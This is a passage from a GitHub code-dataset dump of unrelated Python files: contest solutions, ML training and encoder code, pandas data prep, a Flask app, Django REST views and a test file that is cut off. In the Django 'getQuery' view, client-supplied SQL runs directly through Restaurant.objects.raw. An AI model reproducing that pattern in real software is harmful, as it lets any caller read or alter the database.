self.createConnectionPool()","repo_name":"dionb112/FinalYearProject","sub_path":"Server/database_manager.py","file_name":"database_manager.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"3312469160","text":"import sys\ninput = sys.stdin.readline\ndef I():return list(map(int,input().split()))\nfor _ in range(int(input())):\n n,k=I()\n s=input().strip()\n a=[0]*26\n for ch in s:\n a[ord(ch)-97]+=1\n # print(a)\n ans=\"\"\n tot=n//k\n # print(tot)\n \n for K in range(k):\n count=0\n d=[]\n for i in range(26):\n if a[i]>0:\n a[i]-=1\n count+=1\n d.append(i)\n if count==tot:\n break\n # if count1:\n # a[i]-=1\n # count+=1\n # d.append(i)\n # if count==tot:\n # break \n # print(d)\n mex=0\n for i in d:\n if i==mex:\n mex+=1\n ans += str(chr(97+mex))\n print(ans)\n ","repo_name":"vedantkokate07/Coding-Conest","sub_path":"CodeForces/Dytechlab Cup 2022/A. Ela Sorting Books.py","file_name":"A. Ela Sorting Books.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"36844919618","text":"class Solution:\n def findMaximizedCapital(self, k, w, profit, capital):\n n = len(profit)\n caps, profs = list(zip(capital, profit)), []\n heapify(caps)\n\n for _ in range(min(k, n)):\n while caps and caps[0][0] <= w:\n c, p = heappop(caps)\n heappush(profs, -p)\n if not profs: break\n w += -heappop(profs)\n\n return w\n","repo_name":"simonesestili/problems-dsa","sub_path":"502.py","file_name":"502.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"2"}
+{"seq_id":"19654851308","text":"__copyright__ = \"Copyright (c) 2020 Jina AI Limited. All rights reserved.\"\n__license__ = \"Apache-2.0\"\n\nimport numpy as np\n\nfrom jina.executors.decorators import batching, as_ndarray\nfrom jina.executors.encoders import BaseVideoEncoder\nfrom jina.executors.encoders.frameworks import BaseTorchEncoder\n\n\nclass VideoTorchEncoder(BaseTorchEncoder, BaseVideoEncoder):\n \"\"\"\n Encode `Document` content from a ndarray, using the models from `torchvision.models`.\n\n :class:`VideoTorchEncoder` encodes content from a ndarray, potentially\n B x T x (Channel x Height x Width) into an ndarray of `B x D`.\n Internally, :class:`VideoTorchEncoder` wraps the models from\n `torchvision.models`: https://pytorch.org/docs/stable/torchvision/models.html\n\n :param model_name: the name of the model.\n Supported models include ``r3d_18``, ``mc3_18``, ``r2plus1d_18``\n Default is ``r3d_18``.\n :param pool_strategy: the pooling strategy\n - `None` means that the output of the model will be the 4D tensor\n output of the last convolutional block.\n - `mean` means that global average pooling will be applied to the\n output of the last convolutional block, and thus the output\n of the model will be a 2D tensor.\n - `max` means that global max pooling will be applied.\n \"\"\"\n\n def __init__(self,\n model_name: str = 'r3d_18',\n channel_axis: int = 1,\n pool_strategy: str = 'mean',\n *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.channel_axis = channel_axis\n self.model_name = model_name\n self._default_channel_axis = 2\n if pool_strategy not in ('mean', 'max', None):\n raise NotImplementedError(f'unknown pool_strategy: {self.pool_strategy}')\n self.pool_strategy = pool_strategy\n\n def post_init(self):\n \"\"\"Load Torch model\"\"\"\n super().post_init()\n import torchvision.models.video as models\n if self.pool_strategy is not None:\n self.pool_fn = getattr(np, self.pool_strategy)\n self.model = getattr(models, self.model_name)(pretrained=True).eval()\n self.to_device(self.model)\n\n def _get_features(self, x):\n x = self.model.stem(x)\n x = self.model.layer1(x)\n x = self.model.layer2(x)\n x = self.model.layer3(x)\n x = self.model.layer4(x)\n x = self.model.avgpool(x)\n x = x.flatten(1)\n return x\n\n def _get_pooling(self, feature_map: 'np.ndarray') -> 'np.ndarray':\n if feature_map.ndim == 2 or self.pool_strategy is None:\n return feature_map\n return self.pool_fn(feature_map, axis=(2, 3))\n\n @batching\n @as_ndarray\n def encode(self, content: 'np.ndarray', *args, **kwargs) -> 'np.ndarray':\n \"\"\"\n Encode ``Document`` content from a ndarray.\n\n :param content: a `B x T x (Channel x Height x Width)` numpy ``ndarray``,\n `B` is the size of the batch, `T` is the number of frames\n :return: a `B x D` numpy ``ndarray``, `D` is the output dimension\n \"\"\"\n if self.channel_axis != self._default_channel_axis:\n content = np.moveaxis(content, self.channel_axis, self._default_channel_axis)\n import torch\n _input = torch.from_numpy(content.astype('float32'))\n if self.on_gpu:\n _input = _input.cuda()\n _feature = self._get_features(_input).detach()\n if not self.on_gpu:\n _feature = _feature.cpu()\n _feature = _feature.numpy()\n return self._get_pooling(_feature)","repo_name":"jina-ai/jina-hub","sub_path":"encoders/video/VideoTorchEncoder/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3618,"program_lang":"python","lang":"en","doc_type":"code","stars":102,"dataset":"github-code","pt":"2"}
+{"seq_id":"8433228387","text":"# Written by: Nick Gerend, @dataoutsider\n# Viz: \"Takeoff\", enjoy!\n\nimport pandas as pd\nimport os\nfrom datetime import datetime\n\n# df_m = pd.read_csv(os.path.dirname(__file__) + '/MASTER.csv', dtype=pd.StringDtype())\n# df_a = pd.read_csv(os.path.dirname(__file__) + '/ACFTREF.csv', dtype=pd.StringDtype())\n# df_a.rename(columns={'MFR': 'MFR_Aircraft', 'MODEL': 'Model_Aircraft'}, inplace=True)\n# df_e = pd.read_csv(os.path.dirname(__file__) + '/ENGINE.csv', dtype=pd.StringDtype())\n# df_e.rename(columns={'MFR': 'MFR_Engine', 'MODEL': 'Model_Engine'}, inplace=True)\n# df_lookup = pd.read_csv(os.path.dirname(__file__) + '/Lookup.csv', dtype=pd.StringDtype())\n# df = pd.merge(df_m, df_a, how='left', left_on=['MFR MDL CODE'], right_on = ['CODE'])\n# df = pd.merge(df, df_e, how='left', left_on=['ENG MFR MDL'], right_on = ['CODE'])\n\n# df = df[['YEAR MFR', 'TYPE REGISTRANT', 'NAME', 'CITY', 'STATE', 'ZIP CODE', 'COUNTRY', 'TYPE AIRCRAFT', 'TYPE ENGINE', 'STATUS CODE', 'AIR WORTH DATE', 'EXPIRATION DATE', 'MFR_Aircraft', 'Model_Aircraft', 'AC-CAT', 'NO-ENG', 'NO-SEATS', 'AC-WEIGHT', 'SPEED', 'MFR_Engine', 'Model_Engine', 'HORSEPOWER', 'THRUST']]\n\n# df['TYPE ENGINE'] = df['TYPE ENGINE'].astype(int)\n\n# df_Reg = df_lookup.loc[df_lookup['Column']=='Registrant']\n# df_Reg.rename(columns={'Column': 'Column_1', 'Value': 'Registrant', 'Code': 'Code_1'}, inplace=True)\n# df_Cat = df_lookup.loc[df_lookup['Column']=='Category']\n# df_Cat.rename(columns={'Column': 'Column_2', 'Value': 'Category', 'Code': 'Code_2'}, inplace=True)\n# df_Wei = df_lookup.loc[df_lookup['Column']=='Weight']\n# df_Wei.rename(columns={'Column': 'Column_3', 'Value': 'Weight', 'Code': 'Code_3'}, inplace=True)\n# df_Air = df_lookup.loc[df_lookup['Column']=='Aircraft']\n# df_Air.rename(columns={'Column': 'Column_4', 'Value': 'Aircraft', 'Code': 'Code_4'}, inplace=True)\n# df_Eng = df_lookup.loc[df_lookup['Column']=='Engine']\n# df_Eng.rename(columns={'Column': 'Column_5', 'Value': 'Engine', 'Code': 'Code_5'}, inplace=True)\n# df_Eng['Code_5'] = df_Eng['Code_5'].astype(int)\n\n# df = pd.merge(df, df_Reg, how='left', left_on=['TYPE REGISTRANT'], right_on = ['Code_1'])\n# df = pd.merge(df, df_Cat, how='left', left_on=['AC-CAT'], right_on = ['Code_2'])\n# df = pd.merge(df, df_Wei, how='left', left_on=['AC-WEIGHT'], right_on = ['Code_3'])\n# df = pd.merge(df, df_Air, how='left', left_on=['TYPE AIRCRAFT'], right_on = ['Code_4'])\n# df = pd.merge(df, df_Eng, how='left', left_on=['TYPE ENGINE'], right_on = ['Code_5'])\n\n# df = df[['YEAR MFR', 'NAME', 'CITY', 'STATE', 'ZIP CODE', 'COUNTRY', 'STATUS CODE', 'AIR WORTH DATE', 'EXPIRATION DATE', 'MFR_Aircraft', 'Model_Aircraft', 'NO-ENG', 'NO-SEATS', 'SPEED', 'MFR_Engine', 'Model_Engine', 'HORSEPOWER', 'THRUST', 'Registrant', 'Category', 'Weight', 'Aircraft', 'Engine']]\n# df.reset_index(level=0, inplace=True)\n\n# df['NO-SEATS'] = df['NO-SEATS'].astype(int)\n# bins = [0, 5, 10, 25, 50, 100, 250, 500, 1000]\n# df['seats_bin'] = pd.cut(df['NO-SEATS'], bins)\n\n# df['SPEED'] = df['SPEED'].astype(float)\n# bins2 = [-5., 0., 100., 200., 300., 400., 500.]\n# df['speed_bin'] = pd.cut(df['SPEED'], bins2)\n\n# df.to_csv(os.path.dirname(__file__) + '/aircraft.csv', encoding='utf-8', index=False)\n\ndf = pd.read_csv(os.path.dirname(__file__) + '/aircraft.csv', dtype=pd.StringDtype())\n\ndf['AIR WORTH DATE'] = df['AIR WORTH DATE'].str.strip()\ndf_2020 = df.loc[(df['AIR WORTH DATE'].notnull()) & (df['AIR WORTH DATE']!='')]\n\ndf_2020['A_W_Date'] = [datetime.strptime(t, '%Y%m%d') for t in df_2020['AIR WORTH DATE']]\ndf_2020['A_W_Date_Year'] = df_2020['A_W_Date'].dt.year\n\ndf_2020 = df_2020.loc[(df_2020['A_W_Date_Year'] == 2020)]\n\ndf_2020['Registrant'] = df_2020['Registrant'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Registrant'].notnull()) & (df_2020['Registrant']!='')]\n\ndf_2020['Aircraft'] = df_2020['Aircraft'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Aircraft'].notnull()) & (df_2020['Aircraft']!='')]\n\ndf_2020['Engine'] = df_2020['Engine'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['Engine'].notnull()) & (df_2020['Engine']!='')]\n\ndf_2020['seats_bin'] = df_2020['seats_bin'].str.strip()\ndf_2020 = df_2020.loc[(df_2020['seats_bin'].notnull()) & (df_2020['seats_bin']!='')]\n\ndf_2020['speed_bin'] = ['Unknown' if '-5.0' in x else x for x in df_2020['speed_bin']]\n\ndf_2020.to_csv(os.path.dirname(__file__) + '/aircraft_2020.csv', encoding='utf-8', index=False)\n\nprint('finished')","repo_name":"nickgerend/Takeoff","sub_path":"prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"37451920900","text":"import csv\n\nclass Logger(object):\n\n @classmethod\n def log_reader(cls):\n\n with open('rabota_data.csv', 'r') as csv_file:\n csv_reader = csv.reader(csv_file)\n\n for line in csv_reader:\n print(line)\n\n @classmethod\n def log_cleaner(cls):\n\n with open('rabota_data.csv', 'w') as csv_file:\n csv_file.truncate()\n\n @classmethod\n def log_writer(cls, data):\n\n log_row = [data['name'], data['city'], data['description']]\n\n with open('rabota_data.csv', 'a') as csv_file:\n csv_writer = csv.writer(csv_file, delimiter=',')\n csv_writer.writerow(log_row)\n","repo_name":"Vika030718/LerningPython","sub_path":"ParserForRabotaCom/rabota_parser_loggin.py","file_name":"rabota_parser_loggin.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"38318676462","text":"import encodings\nfrom keras.layers import Dense, Activation, SimpleRNN\nfrom keras.models import Sequential\nimport numpy as np\n\nInput_file = \"Keras_and_Python/ch06/11-0.txt\"\nwith open(Input_file, \"r\", encoding=\"utf-8\") as f:\n lines = [line.strip().lower() for line in f\n if len(line) != 0]\n text = \" \".join(lines)\n\n#文字の集合をインデックス処理する\nchars = set(text)\nnb_chars = len(chars)\nchar2index = dict((c, i) for i, c in enumerate(chars))\nindex2char = dict((i, c) for i, c in enumerate(chars))\n\n#入力テキストとラベルテキストを作成する。\nSEQLEN = 10\nSTEP = 1\n\ninput_chars = []\nlabel_chars = []\nfor i in range(0, len(text) - SEQLEN, STEP):\n input_chars.append(text[i:i + SEQLEN])\n label_chars.append(text[i + SEQLEN])\n\nprint(\"Vectorizing input and label text...\")\n\n#=================================================================\n#入力テキストとラベルテキストをベクトル化する\n#================================================================\n#RNNへの入力の各行は、前に示した入力テキストの一つに対応する。\n#各入力文字をnb_chars次元のone-hotエンコードされたベクトルとして表現する。\n#各入力行のテンソルのサイズは(SEQLEN, nb_chars)\nX = np.zeros((len(input_chars), SEQLEN, nb_chars), dtype=np.bool)\ny = np.zeros((len(input_chars), nb_chars), dtype=np.bool)\nfor i, input_char in enumerate(input_chars):\n for j, ch in enumerate(input_char):\n X[i, j, char2index[ch]] = 1\n y[i, char2index[label_chars[i]]] = 1\n\n\n\n# Build the model. We use a single RNN with a fully connected layer\n# to compute the most likely predicted output char\n# 値が小さすぎるとやはり自然なテキストとして表現するのは難しくなる。\nHIDDEN_SIZE = 128\nBATCH_SIZE = 128\nNUM_ITERATIONS = 25\nNUM_EPOCHS_PER_ITERATION = 1\nNUM_PREDS_PER_EPOCH = 100\n\nmodel = Sequential()\nmodel.add(SimpleRNN(HIDDEN_SIZE, return_sequences=False,\n input_shape=(SEQLEN, nb_chars),\n unroll=True))\nmodel.add(Dense(nb_chars))\nmodel.add(Activation(\"softmax\"))\n\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=\"rmsprop\")\n\n# We train the model in batches and test output generated at each step\nfor iteration in range(NUM_ITERATIONS):\n print(\"=\" * 50)\n print(\"Iteration #: {}\".format(iteration))\n model.fit(X, y, batch_size=BATCH_SIZE, epochs=NUM_EPOCHS_PER_ITERATION)\n\n # testing model\n # randomly choose a row from input_chars, then use it to\n # generate text from model for next 100 chars\n test_idx = np.random.randint(len(input_chars))\n test_chars = input_chars[test_idx]\n print(\"Generating from seed: {}\".format(test_chars))\n print(test_chars, end=\"\")\n for i in range(NUM_PREDS_PER_EPOCH):\n Xtest = np.zeros((1, SEQLEN, nb_chars))\n for j, ch in enumerate(test_chars):\n Xtest[0, j, char2index[ch]] = 1\n pred = model.predict(Xtest, verbose=0)[0]\n ypred = index2char[np.argmax(pred)]\n print(ypred, end=\"\")\n # move forward with test_chars + ypred\n test_chars = test_chars[1:] + ypred\n print()","repo_name":"koki-u/keras_and_python","sub_path":"ch06/alice.py","file_name":"alice.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"19236324789","text":"from flask import Flask, render_template, request\nfrom k_delete import delete_from_kadrlar_bazasi\nfrom k_insert import open_insert_to_kadrlar_bazasi\n\napp = Flask(__name__)\napp.config[\"debug\"] = True\n\n\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef index():\n return render_template('index.html') # ЗАПУСТИМ ИНДЕКС html\n\n\n# ---------------------------------------------------------------------- для отдела кадров\n@app.route('/k_insert', methods=[\"POST\", \"GET\"])\ndef kadr():\n if request.method == 'POST':\n id1 = request.form[\"id\"]\n int_id = int(id1)\n first_name = request.form[\"first_name\"]\n sur_name = request.form[\"sur_name\"]\n father_name = request.form[\"father_name\"]\n photo = request.form[\"photo\"]\n if int_id > 0:\n open_insert_to_kadrlar_bazasi(int_id, first_name, sur_name, father_name, photo)\n return render_template('k_insert.html') # ЗАПУСТИМ k_insert.html\n\n# --------------------------Insert Data to Table in DB\n\n\n@app.route('/k_delete', methods=[\"POST\", \"GET\"])\ndef kadr_search():\n\n if request.method == 'POST':\n id1 = request.form[\"id\"]\n int_id = int(id1)\n if int_id > 0:\n delete_from_kadrlar_bazasi(int_id)\n print(int_id)\n return render_template('k_delete.html') # ЗАПУСТИМ k_insert.html\n# --------------------------Insert Data to Table in DB\n\n\nif __name__ == \"__main__\":\n app.run()\n #app.run(host='192.168.1.37')\n","repo_name":"Namiqefendiyev/Stop_version_kadr","sub_path":"MyFlask.py","file_name":"MyFlask.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"3443888931","text":"import warnings\nwarnings.filterwarnings('ignore')\nimport os\nimport sys\nimport time\nimport random\nimport string\nimport argparse\nimport re\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.init as init\nimport torch.optim as optim\nimport torch.utils.data\nimport numpy as np\nimport copy\n\nfrom utils import Averager, TokenLabelConverter\nfrom dataset import hierarchical_dataset, AlignCollate, Batch_Balanced_Dataset\nfrom models import Model\nfrom test_final import validation\nfrom utils import get_args\nimport utils_dist as utils\n\nimport torch.nn as nn\nfrom torch.optim.lr_scheduler import CosineAnnealingLR\nimport torch.nn.functional as F\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nimport datetime\ndef format_time(time):\n days = 0\n if time > 86400:\n days = int(time // 86400)\n time = time - days*86400\n date = datetime.datetime.utcfromtimestamp(time)\n output = datetime.datetime.strftime(date, \"%H:%M:%S\")\n return f'{days:d}days {output}' if days > 0 else output\n \nclass SoftCrossEntropyLoss(nn.Module):\n def __init__(self, reduction=\"mean\"):\n super().__init__()\n self.reduction = reduction\n\n def forward(self, input, target, softmax=True):\n if softmax: log_prob = F.log_softmax(input, dim=-1)\n else: log_prob = torch.log(input)\n loss = -(target * log_prob).sum(dim=-1)\n if self.reduction == \"mean\": return loss.mean()\n elif self.reduction == \"sum\": return loss.sum()\n else: return loss\n\ndef train(opt):\n \"\"\" dataset preparation \"\"\"\n if not opt.data_filtering_off:\n print('Filtering the images containing characters which are not in opt.character')\n print('Filtering the images whose label is longer than opt.batch_max_length')\n # see https://github.com/clovaai/deep-text-recognition-benchmark/blob/6593928855fb7abb999a99f428b3e4477d4ae356/dataset.py#L130\n\n opt.select_data = opt.select_data.split('-')\n opt.batch_ratio = opt.batch_ratio.split('-')\n opt.eval = False\n train_dataset = Batch_Balanced_Dataset(opt)\n\n log = open(f'{opt.saved_path}/{opt.exp_name}/log_dataset.txt', 'a')\n\n val_opt = copy.deepcopy(opt)\n val_opt.eval = True\n \n if opt.sensitive:\n opt.data_filtering_off = True\n AlignCollate_valid = AlignCollate(imgH=opt.imgH, imgW=opt.imgW, keep_ratio_with_pad=opt.PAD, opt=val_opt)\n valid_dataset, _ = hierarchical_dataset(root=opt.valid_data, opt=val_opt)\n valid_loader = torch.utils.data.DataLoader(\n valid_dataset, batch_size=opt.batch_size,\n shuffle=True, # 'True' to check training progress with validation function.\n num_workers=int(opt.workers),\n collate_fn=AlignCollate_valid, pin_memory=True)\n \n \n print('-' * 80)\n log.write('-' * 80 + '\\n')\n log.close()\n \n \"\"\" model configuration \"\"\"\n converter = TokenLabelConverter(opt)\n \n opt.num_class = len(converter.character)\n\n if opt.rgb:\n opt.input_channel = 3\n\n model = Model(opt)\n\n print(model)\n\n # data parallel for multi-GPU\n model.to(device)\n model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[opt.gpu], find_unused_parameters=False)\n \n model.train()\n \n if opt.saved_model != '':\n print(f'loading pretrained model from {opt.saved_model}')\n model.load_state_dict(torch.load(opt.saved_model, map_location='cpu'), strict=True)\n\n \"\"\" setup loss \"\"\"\n criterion = torch.nn.CrossEntropyLoss(ignore_index=0).to(device) # ignore [GO] token = ignore index 0\n \n # loss averager\n loss_avg = Averager()\n\n # filter that only require gradient decent\n filtered_parameters = []\n params_num = []\n for p in filter(lambda p: p.requires_grad, model.parameters()):\n filtered_parameters.append(p)\n params_num.append(np.prod(p.size()))\n\n # setup optimizer\n optimizer = optim.Adam(filtered_parameters, lr=opt.lr, betas=(opt.beta1, opt.beta2))\n\n scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=opt.drop_iter, gamma=0.1)\n\n \"\"\" final options \"\"\"\n with open(f'{opt.saved_path}/{opt.exp_name}/opt.txt', 'a') as opt_file:\n opt_log = '------------ Options -------------\\n'\n args = vars(opt)\n for k, v in args.items():\n opt_log += f'{str(k)}: {str(v)}\\n'\n opt_log += '---------------------------------------\\n'\n #print(opt_log)\n opt_file.write(opt_log)\n total_params = int(sum(params_num))\n total_params = f'Trainable network params num : {total_params:,}\\n'\n print(total_params)\n opt_file.write(total_params)\n\n \"\"\" start training \"\"\"\n start_iter = 0\n if opt.saved_model != '':\n try:\n start_iter = int(opt.saved_model.split('_')[-1].split('.')[0])\n print(f'continue to train, start_iter: {start_iter}')\n except:\n pass\n\n best_accuracy = -1\n iteration = start_iter\n \n print(\"LR\",scheduler.get_last_lr()[0])\n \n start_time = time.time()\n while(True):\n # train part\n image_tensors, labels = train_dataset.get_batch()\n image = image_tensors.to(device)\n \n len_target, char_target = converter.char_encode(labels)\n\n char_preds = model(image)\n \n it = char_preds.shape[0] // char_target.shape[0]\n char_target = char_target.repeat(it, 1)\n \n char_preds = char_preds.view(-1, char_preds.shape[-1])\n \n char_loss = criterion(char_preds, char_target.contiguous().view(-1))\n cost = char_loss \n\n model.zero_grad()\n cost.backward()\n torch.nn.utils.clip_grad_norm_(model.parameters(), opt.grad_clip) # gradient clipping with 20 (Default)\n optimizer.step()\n\n loss_avg.add(cost)\n\n if utils.is_main_process() and ((iteration + 1) % opt.show_iter == 0):\n remain_time = format_time((time.time() - start_time) * (opt.num_iter - iteration - 1) / (iteration+1-start_iter))\n with open(f'{opt.saved_path}/{opt.exp_name}/log_train.txt', 'a') as log:\n loss_log = f'[{iteration+1}/{opt.num_iter}]\\tLR: {scheduler.get_last_lr()[0]:0.5f}, \\tTrain loss: {loss_avg.val():0.5f}, \\tRemain Time: {remain_time}'\n print(loss_log)\n log.write(loss_log + '\\n')\n\n # validation part\n if utils.is_main_process() and ((iteration + 1) % opt.valInterval == 0):\n # for log\n print(\"LR\",scheduler.get_last_lr()[0])\n with open(f'{opt.saved_path}/{opt.exp_name}/log_train.txt', 'a') as log:\n model.eval()\n \n with torch.no_grad():\n valid_loss, current_accuracy, char_preds, confidence_score, labels, length_of_data, _ = validation(\n model, criterion, valid_loader, converter, opt)\n model.train()\n\n loss_log = f'[{iteration+1}/{opt.num_iter}] LR: {scheduler.get_last_lr()[0]:0.5f}, Train loss: {loss_avg.val():0.5f}, Valid loss: {valid_loss:0.5f}'\n loss_avg.reset()\n current_model_log = f'{\"Word_accuracy\":17s}: {current_accuracy:0.3f}'\n\n # keep best accuracy model (on valid dataset)\n if current_accuracy > best_accuracy:\n best_accuracy = current_accuracy\n torch.save(model.state_dict(), f'{opt.saved_path}/{opt.exp_name}/best_accuracy.pth')\n best_model_log = f'{\"Best_accuracy\":17s}: {best_accuracy:0.3f}'\n\n loss_model_log = f'{loss_log}\\n{current_model_log}\\n{best_model_log}'\n print(loss_model_log)\n log.write(loss_model_log + '\\n')\n\n # show some predicted results\n dashed_line = '-' * 80\n head = f'{\"Ground Truth\":25s} | {\"Prediction\":25s} | Confidence Score & T/F'\n predicted_result_log = f'{dashed_line}\\n{head}\\n{dashed_line}\\n'\n for gt, pred, confidence in zip(labels[:5], char_preds[:5], confidence_score[:5]):\n pred = pred[:pred.find('[s]')]\n\n # To evaluate 'case sensitive model' with alphanumeric and case insensitve setting.\n if opt.sensitive and opt.data_filtering_off:\n pred = pred.lower()\n gt = gt.lower()\n alphanumeric_case_insensitve = '0123456789abcdefghijklmnopqrstuvwxyz'\n out_of_alphanumeric_case_insensitve = f'[^{alphanumeric_case_insensitve}]'\n pred = re.sub(out_of_alphanumeric_case_insensitve, '', pred)\n gt = re.sub(out_of_alphanumeric_case_insensitve, '', gt)\n\n predicted_result_log += f'{gt:25s} | {pred:25s} | {confidence:0.4f}\\t{str(pred == gt)}\\n'\n predicted_result_log += f'{dashed_line}'\n print(predicted_result_log)\n log.write(predicted_result_log + '\\n')\n\n # save model per 1e+5 iter.\n if utils.is_main_process() and (iteration + 1) % 5e+3 == 0:\n # torch.save(\n # model.state_dict(), f'{opt.saved_path}/{opt.exp_name}/iter_{iteration+1}.pth')\n pass\n\n if (iteration + 1) == opt.num_iter:\n print('end the training')\n sys.exit()\n iteration += 1\n if scheduler is not None:\n scheduler.step()\n\nif __name__ == '__main__':\n\n opt = get_args()\n\n if not opt.exp_name:\n opt.exp_name = f'{opt.backbone}-trans{opt.trans_ln}'\n\n opt.exp_name += f'-Seed{opt.manualSeed}'\n\n os.makedirs(f'{opt.saved_path}/{opt.exp_name}', exist_ok=True)\n\n \"\"\" vocab / character number configuration \"\"\"\n if opt.sensitive:\n opt.character = string.printable[:-6] # same with ASTER setting (use 94 char).\n if opt.char_dic != '':\n character = ''\n with open(opt.char_dic, 'r') as f:\n chars = f.readlines()\n for char in chars:\n character += char.split('\\n')[0]\n opt.character = character\n \n utils.init_distributed_mode(opt)\n\n print(opt)\n \n \"\"\" Seed and GPU setting \"\"\"\n \n seed = opt.manualSeed + utils.get_rank()\n \n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n torch.cuda.manual_seed(seed)\n\n cudnn.benchmark = True\n cudnn.deterministic = True\n opt.num_gpu = torch.cuda.device_count()\n \n num_tasks = utils.get_world_size()\n global_rank = utils.get_rank()\n \n train(opt)\n\n","repo_name":"CyrilSterling/LPV","sub_path":"train_final_dist.py","file_name":"train_final_dist.py","file_ext":"py","file_size_in_byte":10566,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"2"}
+{"seq_id":"72058345967","text":"from rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.conf import settings\nfrom rest_framework import status\nfrom rest_framework.generics import CreateAPIView\nfrom rest_framework.response import Response\nfrom main.models import Restaurant,Product\nfrom django.shortcuts import get_object_or_404\nfrom main.api.serializers import (\n RestaurantSerializer,ProductSerializer\n)\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework.authtoken.models import Token\nimport json\n\nfrom django.http import JsonResponse\nfrom django.forms.models import model_to_dict\n\n\n\n\nclass getQuery(CreateAPIView):\n serializer_class = RestaurantSerializer\n\n def post(self, request, format=None):\n serializer = self.serializer_class(\n data=request.data,\n )\n if serializer.is_valid():\n query = serializer.validated_data['query']\n print(query)\n restaurant_list=Restaurant.objects.raw(query)\n # print(restaurant_list)\n # dict={}\n # for object in restaurant_list:\n # # dict[object.name] = [] # converts ValuesQuerySet into Python list\n # # dict[object.name]={'city':object.city,'address':object.address,'photo':object.photo,'description':object.description,'email':object.email,'contact_number':object.contact_number}\n dict1={}\n i=0\n for object in restaurant_list:\n # dict= model_to_dict(object)\n dict1[i]={'name':object.name,'city':object.city,'address':object.address,'description':object.description,'email':object.email,'contact_number':object.contact_number}\n i=i+1\n print(dict1)\n return Response(dict1)\n\n\n\n\nclass getProduct(CreateAPIView):\n serializer_class = ProductSerializer\n\n def post(self, request, format=None):\n serializer = self.serializer_class(\n data=request.data,\n )\n if serializer.is_valid():\n restaurant = serializer.validated_data['restaurant']\n print(restaurant)\n restaurantID=Restaurant.objects.filter(name=restaurant).first()\n print(restaurantID)\n product=Product.objects.filter(restaurant=restaurantID)\n dict1={}\n i=0\n for object in product:\n # dict= model_to_dict(object)\n dict1[i]={'name':object.name,'description':object.description,'add_ons':object.add_ons,'price':object.price}\n i=i+1\n print(dict1)\n return Response(dict1)\n","repo_name":"jatin2810/Eatler-new-4.0","sub_path":"main/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"13956624130","text":"import unittest\nfrom unittest.mock import (\n AsyncMock,\n MagicMock,\n call,\n)\n\nfrom psycopg2.sql import (\n SQL,\n)\n\nfrom minos.common.testing import (\n PostgresAsyncTestCase,\n)\nfrom minos.networks import (\n BrokerConsumer,\n)\nfrom tests.utils import (\n BASE_PATH,\n Message,\n)\n\n\nclass _ConsumerClient:\n \"\"\"For testing purposes.\"\"\"\n\n def __init__(self, messages=None):\n if messages is None:\n messages = [Message(topic=\"TicketAdded\", partition=0, value=bytes())]\n self.messages = messages\n\n async def start(self):\n \"\"\"For testing purposes.\"\"\"\n\n async def stop(self):\n \"\"\"For testing purposes.\"\"\"\n\n def subscribe(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n\n def unsubscribe(self):\n \"\"\"For testing purposes.\"\"\"\n\n async def getmany(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n return dict(enumerate(self.messages))\n\n async def __aiter__(self):\n for message in self.messages:\n yield message\n\n async def commit(self, *args, **kwargs):\n \"\"\"For testing purposes.\"\"\"\n\n\nclass TestConsumer(PostgresAsyncTestCase):\n CONFIG_FILE_PATH = BASE_PATH / \"test_config.yml\"\n\n def setUp(self) -> None:\n super().setUp()\n\n self.client = _ConsumerClient([Message(topic=\"AddOrder\", partition=0, value=b\"test\")])\n # noinspection PyTypeChecker\n self.consumer = BrokerConsumer(\n topics={f\"{self.config.service.name}Reply\"},\n broker=self.config.broker,\n client=self.client,\n **self.config.broker.queue._asdict(),\n )\n\n async def asyncSetUp(self):\n await super().asyncSetUp()\n await self.consumer.setup()\n\n async def asyncTearDown(self):\n await self.consumer.destroy()\n await super().asyncTearDown()\n\n def test_from_config(self):\n expected_topics = {\n \"AddOrder\",\n \"DeleteOrder\",\n \"GetOrder\",\n \"TicketAdded\",\n \"TicketDeleted\",\n \"UpdateOrder\",\n }\n\n consumer = BrokerConsumer.from_config(config=self.config)\n self.assertIsInstance(consumer, BrokerConsumer)\n self.assertEqual(expected_topics, consumer.topics)\n self.assertEqual(self.config.broker, consumer._broker)\n self.assertEqual(self.config.broker.queue.host, consumer.host)\n self.assertEqual(self.config.broker.queue.port, consumer.port)\n self.assertEqual(self.config.broker.queue.database, consumer.database)\n self.assertEqual(self.config.broker.queue.user, consumer.user)\n 